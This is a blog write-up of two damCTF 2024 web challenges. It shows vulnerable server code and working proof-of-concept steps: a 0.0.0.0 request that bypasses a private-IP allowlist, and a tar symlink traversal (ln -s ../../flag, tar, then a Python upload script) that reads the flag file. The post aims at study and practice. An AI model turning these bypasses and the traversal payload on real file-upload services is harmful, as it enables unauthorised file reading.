damCTF 2024 Web Writeup

2024. 4. 10. 18:39·🚩 CTF

My team was too good for me to help, but here's a writeup I did on my own for studying purposes.

 

Flower Power

# app.py

		...
        
@dataclass
class Flower:
    name: str
    flower_url: str
    description: str
    id: str = "-1"

database: dict[str, Flower] = dict()

def add_flower(flower: Flower):
    flower.id = generate_id()
    database[flower.id] = flower
    return flower

add_flower(Flower(
    "Rose", 
    "https://i0.wp.com/pikespeakfloral.com/wp-content/uploads/2019/06/roses-1.jpg?resize=800%2C533&ssl=1",
    "A red rose",
    ))
    
    	 ...
        
@app.get("/special_flower")
def special_flower():
    if not request.remote_addr:
        return "Unauthorized access"

    r_ip = ipaddress.ip_address(request.remote_addr)  # filtering
    if r_ip in ipaddress.ip_network('192.168.0.0/16') \
        or r_ip in ipaddress.ip_network('172.16.0.0/12') \
        or r_ip in ipaddress.ip_network('10.0.0.0/8') \
        or r_ip in ipaddress.ip_network('127.0.0.0/8'):
        return send_file("flag.png", mimetype='image/png')
    
    return "Unauthorized access"

The application use "Flower" class as database and you need to bypass those filterings to get flag.

 

PoC

http://0.0.0.0/special_flower

 

 

 

tarrible-stroage

# Dockerfile
WORKDIR /chal   
COPY flag ./
COPY ./src/ /chal/

The flag is in "/chal/flag".

 

There's nothing special about this web application except for the file upload feature.

@app.post("/api/upload")
@protected_sync
def handle_tar_upload(request: Request):
    # extract user files
    tarbytes = io.BytesIO(request.body)
    try:
        with tarfile.open(fileobj=tarbytes, mode='r') as file_upload:
            file_upload.extractall(os.path.join("files", request.ctx.user['folder']))
    except tarfile.ReadError as err:
        return json({'error': str(err)}, status=400)
    return json({"success": "files uploaded"})

@app.get("/api/access/<filename>")
@protected
async def handle_file_access(request: Request, filename):
    filename = unquote(filename)
    file_path = os.path.join("files", request.ctx.user['folder'], filename)
    file_path = os.path.abspath(os.path.normpath(file_path))
    if file_path.startswith(ABSOLUTE_FILE_PATH):
        return await file(file_path)
    return await json({"error": "file not found"}, status=404)

@app.get("/api/directory")
@protected
async def list_userfiles(request: Request):
    return json({"files": os.listdir(os.path.join("files", request.ctx.user['folder']))})

 

We can notice that we need to use upload funciton with tar extension file to get flag. Let's Google for vulnerabilities related to tar files.

 

Reference : https://blog.csdn.net/brosyveryok/article/details/127355430

 

The challenge is related to "Tar directory traversal vulnerability". All we need to know is in above reference. So, we just modify some details and let's exploit.

 

def protected_sync(wrapped):
    def decorator(f):
        @wraps(f)
        async def decorated_function(request, *args, **kwargs):
            is_authenticated = check_token(request)

            if is_authenticated:
                response = f(request, *args, **kwargs)
                return response
            else:
                return text("You are unauthorized.", 401)

        return decorated_function

    return decorator(wrapped)

 

First of all, we need validate token to use all endpoint. So let's get token via Sign up.

 

We got this. Next step, let's make symbolic link file as below command.

I created the symbolic file using the commands in the reference above.

ln -s ../../flag ./get_flag
tar -cvf pay.tar get_flag

 

 

Final step, upload this file and get flag with below PoC code. ( Make sure that the file names in your local directory are the same as the file names in the poc code. )

 

My local file

PoC

import requests

HOST = 'http://tarrible-storage.chals.kekoam.xyz'

session = requests.session()

TOKEN = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNyb251cyIsInBhc3N3b3JkIjoiMTIzNCIsImZvbGRlciI6ImVjZDFhZTk1LTliZGEtNDczMC05ZDc5LWQ5YWQ1Nzc5ZTljNSJ9.lirsU4IOeNs3nKMWxSg6HnqlpXBVSErrHo9XbQIr8b0"
header = {
    'Authorization': TOKEN,
    "Content-Type": "application/octet-stream",
}

with open('pay.tar', 'rb') as f:
    pay = f.read()
    
res = session.post(url=HOST+"/api/upload", headers=header,data=pay, verify=False)
header = {
    'Authorization': TOKEN,
}

res = session.get(url=HOST+"/api/access/get_flag", headers=header, verify=False)

print(res.text)

 

Flag

dam{what_a_tarrible_app_lol_1249832789427}

저작자표시 비영리 변경금지 (새창열림)
'🚩 CTF' 카테고리의 다른 글
  • HackfestCTF 2024 Web writeup
  • BalsnCTF 2023 Web Writeup
  • Hayim CTF 2022
  • Insomni'hack 2022
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    cache poisoning
    Remote Code Execution
    Text Summarization
    cache
    bug report
    Deep learning
    ubuntu 명령어
    TFCCTF2022
    pwntools
    Ubuntu 기초
    sqli
    TsukuCTF2022
    python
    bug hunter
    GPNCTF
    Machine Learning
    Crypto
    justCTF
    Ubuntu 기초 셋팅
    RCE
  • 최근 댓글

  • 최근 글

Cronus
damCTF 2024 Web Writeup
상단으로

티스토리툴바